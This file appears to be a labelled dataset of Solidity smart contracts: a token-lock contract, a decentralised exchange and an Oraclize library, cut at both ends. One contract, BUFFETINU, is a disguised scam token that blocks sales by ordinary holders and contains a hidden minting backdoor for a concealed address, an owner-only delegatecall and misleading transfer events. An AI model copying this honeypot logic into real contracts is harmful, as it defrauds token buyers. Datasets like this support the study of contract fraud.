using SafeMath for uint256;
bool public isPublic;
uint256 public unLockTime;
PrivateToken public privateToken;
modifier onlyPrivateToken() {
require(msg.sender == address(privateToken));
_;
}
function deposit(address _depositor, uint256 _value) public onlyPrivateToken returns(bool){
require(_value != 0);
balances[_depositor] = balances[_depositor].add(_value);
emit Transfer(privateToken, _depositor, _value);
return true;
}
constructor() public {
unLockTime = 2556057600;
}
}
contract BCNTToken is LockToken{
string public constant name = "Bincentive SIT Token";
string public constant symbol = "BCNT-SIT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
mapping(bytes => bool) internal signatures;
event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
function transferPreSigned(
bytes _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce,
uint256 _validUntil
)
public
returns (bool)
{
require(_to != address(0));
require(signatures[_signature] == false);
require(block.number <= _validUntil);
bytes32 hashedTx = ECRecovery.toEthSignedMessageHash(transferPreSignedHashing(address(this), _to, _value, _fee, _nonce, _validUntil));
address from = ECRecovery.recover(hashedTx, _signature);
require(from != address(0));
balances[from] = balances[from].sub(_value).sub(_fee);
balances[_to] = balances[_to].add(_value);
balances[msg.sender] = balances[msg.sender].add(_fee);
signatures[_signature] = true;
emit Transfer(from, _to, _value);
emit Transfer(from, msg.sender, _fee);
emit TransferPreSigned(from, _to, msg.sender, _value, _fee);
return true;
}
function transferPreSignedHashing(
address _token,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce,
uint256 _validUntil
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0x0a0fb66b), _token, _to, _value, _fee, _nonce, _validUntil);
}
function transferPreSignedHashingWithPrefix(
address _token,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce,
uint256 _validUntil
)
public
pure
returns (bytes32)
{
return ECRecovery.toEthSignedMessageHash(transferPreSignedHashing(_token, _to, _value, _fee, _nonce, _validUntil));
}
constructor(address _admin) public {
totalSupply_ = INITIAL_SUPPLY;
privateToken = new PrivateToken(
_admin, "Bincentive Private SIT Token", "BCNP-SIT", decimals, INITIAL_SUPPLY
);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library ECRecovery {
function recover(bytes32 hash, bytes sig)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract PrivateToken is StandardToken {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
address public admin;
bool public isPublic;
uint256 public unLockTime;
LockToken originToken;
event StartPublicSale(uint256);
event Deposit(address indexed from, uint256 value);
function isDepositAllowed() internal view{
require(isPublic);
require(msg.sender == admin || block.timestamp > unLockTime);
}
function deposit() public returns (bool){
isDepositAllowed();
uint256 _value;
_value = balances[msg.sender];
require(_value > 0);
balances[msg.sender] = 0;
require(originToken.deposit(msg.sender, _value));
emit Deposit(msg.sender, _value);
}
function adminDeposit(address _depositor) public onlyAdmin returns (bool){
isDepositAllowed();
uint256 _value;
_value = balances[_depositor];
require(_value > 0);
balances[_depositor] = 0;
require(originToken.deposit(_depositor, _value));
emit Deposit(_depositor, _value);
}
function startPublicSale(uint256 _unLockTime) public onlyAdmin {
require(!isPublic);
isPublic = true;
unLockTime = _unLockTime;
emit StartPublicSale(_unLockTime);
}
function unLock() public onlyAdmin{
require(isPublic);
unLockTime = block.timestamp;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
constructor(address _admin, string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public{
originToken = LockToken(msg.sender);
admin = _admin;
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply_ = _totalSupply;
balances[admin] = _totalSupply;
emit Transfer(address(0), admin, _totalSupply);
}
} | 1 | 3,940 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BUFFETINU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,278 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
assert(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
interface SDADI {
function AddToken(address token) external;
function DelToken(address token) external;
}
interface DAppDEXI {
function updateAgent(address _agent, bool _status) external;
function setAccountType(address user_, uint256 type_) external;
function getAccountType(address user_) external view returns(uint256);
function setFeeType(uint256 type_ , uint256 feeMake_, uint256 feeTake_) external;
function getFeeMake(uint256 type_ ) external view returns(uint256);
function getFeeTake(uint256 type_ ) external view returns(uint256);
function changeFeeAccount(address feeAccount_) external;
function setWhitelistTokens(address token) external;
function setWhitelistTokens(address token, bool active, uint256 timestamp, bytes32 typeERC) external;
function depositToken(address token, uint amount) external;
function tokenFallback(address owner, uint256 amount, bytes data) external returns (bool success);
function withdraw(uint amount) external;
function withdrawToken(address token, uint amount) external;
function balanceOf(address token, address user) external view returns (uint);
function order(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce) external;
function trade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) external;
function cancelOrder(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) external;
function testTrade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) external view returns(bool);
function availableVolume(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) external view returns(uint);
function amountFilled(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user) external view returns(uint);
}
interface ERC20I {
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SafeMath {
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
uint256 z = x - y;
return z;
}
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function safePerc(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
z = z / 10000;
return z;
}
function min(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x <= y ? x : y;
return z;
}
function max(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x >= y ? x : y;
return z;
}
}
contract Agent is Ownable {
address public defAgent;
mapping(address => bool) public Agents;
constructor() public {
Agents[msg.sender] = true;
}
modifier onlyAgent() {
assert(Agents[msg.sender]);
_;
}
function updateAgent(address _agent, bool _status) public onlyOwner {
assert(_agent != address(0));
Agents[_agent] = _status;
}
}
contract DAppDEX is DAppDEXI, SafeMath, Agent {
address public feeAccount;
mapping (address => mapping (address => uint)) public tokens;
mapping (address => mapping (bytes32 => bool)) public orders;
mapping (address => mapping (bytes32 => uint)) public orderFills;
uint public feeListing = 100;
struct whitelistToken {
bool active;
uint256 timestamp;
}
struct Fee {
uint256 feeMake;
uint256 feeTake;
}
mapping (address => whitelistToken) public whitelistTokens;
mapping (address => uint256) public accountTypes;
mapping (uint256 => Fee) public feeTypes;
event Deposit(address token, address user, uint amount, uint balance);
event PayFeeListing(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event Order(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user);
event Cancel(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, bytes32 hash);
event Trade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, address user, address recipient, bytes32 hash, uint256 timestamp);
event WhitelistTokens(address token, bool active, uint256 timestamp, bytes32 typeERC);
constructor (address feeAccount_) public {
feeAccount = feeAccount_;
feeTypes[0] = Fee(1000000000000000, 2000000000000000);
whitelistTokens[0] = whitelistToken(true, 1);
emit WhitelistTokens(0, true, 1, 0x0);
}
function setFeeListing(uint _feeListing) external onlyAgent {
feeListing = _feeListing;
}
function setAccountType(address user_, uint256 type_) external onlyAgent {
accountTypes[user_] = type_;
}
function getAccountType(address user_) external view returns(uint256) {
return accountTypes[user_];
}
function setFeeType(uint256 type_ , uint256 feeMake_, uint256 feeTake_) external onlyAgent {
feeTypes[type_] = Fee(feeMake_,feeTake_);
}
function getFeeMake(uint256 type_ ) external view returns(uint256) {
return (feeTypes[type_].feeMake);
}
function getFeeTake(uint256 type_ ) external view returns(uint256) {
return (feeTypes[type_].feeTake);
}
function changeFeeAccount(address feeAccount_) external onlyAgent {
require(feeAccount_ != address(0));
feeAccount = feeAccount_;
}
function setWhitelistTokens(address token) external onlyOwner {
whitelistTokens[token].active = true;
whitelistTokens[token].timestamp = now;
SDADI(feeAccount).AddToken(token);
emit WhitelistTokens(token, true, now, "ERC20");
}
function setWhitelistTokens(address token, bool active, uint256 timestamp, bytes32 typeERC) external onlyAgent {
if (active) {
uint fee = safePerc(ERC20I(token).totalSupply(), feeListing);
require(fee > 0);
require(tokens[token][feeAccount] >= fee);
SDADI(feeAccount).AddToken(token);
} else {
SDADI(feeAccount).DelToken(token);
}
whitelistTokens[token].active = active;
whitelistTokens[token].timestamp = timestamp;
emit WhitelistTokens(token, active, timestamp, typeERC);
}
function() public payable {
require(msg.value > 0);
deposit(msg.sender);
}
function deposit(address receiver) private {
tokens[0][receiver] = safeAdd(tokens[0][receiver], msg.value);
emit Deposit(0, receiver, msg.value, tokens[0][receiver]);
}
function depositToken(address token, uint amount) external {
require(token != address(0));
if (whitelistTokens[token].active) {
require(whitelistTokens[token].timestamp <= now);
require(ERC20I(token).transferFrom(msg.sender, this, amount));
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
} else {
require(ERC20I(token).transferFrom(msg.sender, this, amount));
tokens[token][feeAccount] = safeAdd(tokens[token][feeAccount], amount);
emit PayFeeListing(token, msg.sender, amount, tokens[msg.sender][feeAccount]);
}
}
function tokenFallback(address owner, uint256 amount, bytes data) external returns (bool success) {
if (data.length == 0) {
assert(whitelistTokens[msg.sender].active && whitelistTokens[msg.sender].timestamp <= now);
tokens[msg.sender][owner] = safeAdd(tokens[msg.sender][owner], amount);
emit Deposit(msg.sender, owner, amount, tokens[msg.sender][owner]);
return true;
} else {
tokens[msg.sender][feeAccount] = safeAdd(tokens[msg.sender][feeAccount], amount);
emit PayFeeListing(msg.sender, owner, amount, tokens[msg.sender][feeAccount]);
return true;
}
}
function withdraw(uint amount) external {
require(tokens[0][msg.sender] >= amount);
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
msg.sender.transfer(amount);
emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function withdrawToken(address token, uint amount) external {
require(token != address(0));
require(tokens[token][msg.sender] >= amount);
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
require(ERC20I(token).transfer(msg.sender, amount));
emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) external view returns (uint) {
return tokens[token][user];
}
function order(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce) external {
bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender));
orders[msg.sender][hash] = true;
emit Order(tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender);
}
function trade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) external {
bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.timestamp <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountBuy
)) revert();
tradeBalances(tokenBuy, amountBuy, tokenSell, amountSell, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
emit Trade(tokenBuy, amount, tokenSell, amountSell * amount / amountBuy, user, msg.sender, hash, block.timestamp);
}
function tradeBalances(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeTypes[accountTypes[user]].feeMake) / (10**18);
uint feeTakeXfer = safeMul(amount, feeTypes[accountTypes[msg.sender]].feeTake) / (10**18);
tokens[tokenBuy][msg.sender] = safeSub(tokens[tokenBuy][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenBuy][user] = safeAdd(tokens[tokenBuy][user], safeSub(amount, feeMakeXfer));
tokens[tokenBuy][feeAccount] = safeAdd(tokens[tokenBuy][feeAccount], safeAdd(feeMakeXfer, feeTakeXfer));
tokens[tokenSell][user] = safeSub(tokens[tokenSell][user], safeMul(amountSell, amount) / amountBuy);
tokens[tokenSell][msg.sender] = safeAdd(tokens[tokenSell][msg.sender], safeMul(amountSell, amount) / amountBuy);
}
function cancelOrder(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) external {
bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender));
if (!(orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender)) revert();
orderFills[msg.sender][hash] = amountBuy;
emit Cancel(tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender, v, r, s, hash);
}
function testTrade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) external view returns(bool) {
if (!(
tokens[tokenBuy][sender] >= amount &&
availableVolume(tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public view returns(uint) {
bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.timestamp <= expires
)) return 0;
uint available1 = safeSub(amountBuy, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenSell][user], amountBuy) / amountSell;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user) external view returns(uint) {
bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user));
return orderFills[user][hash];
}
} | 1 | 4,275 |
pragma solidity ^0.4.0;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
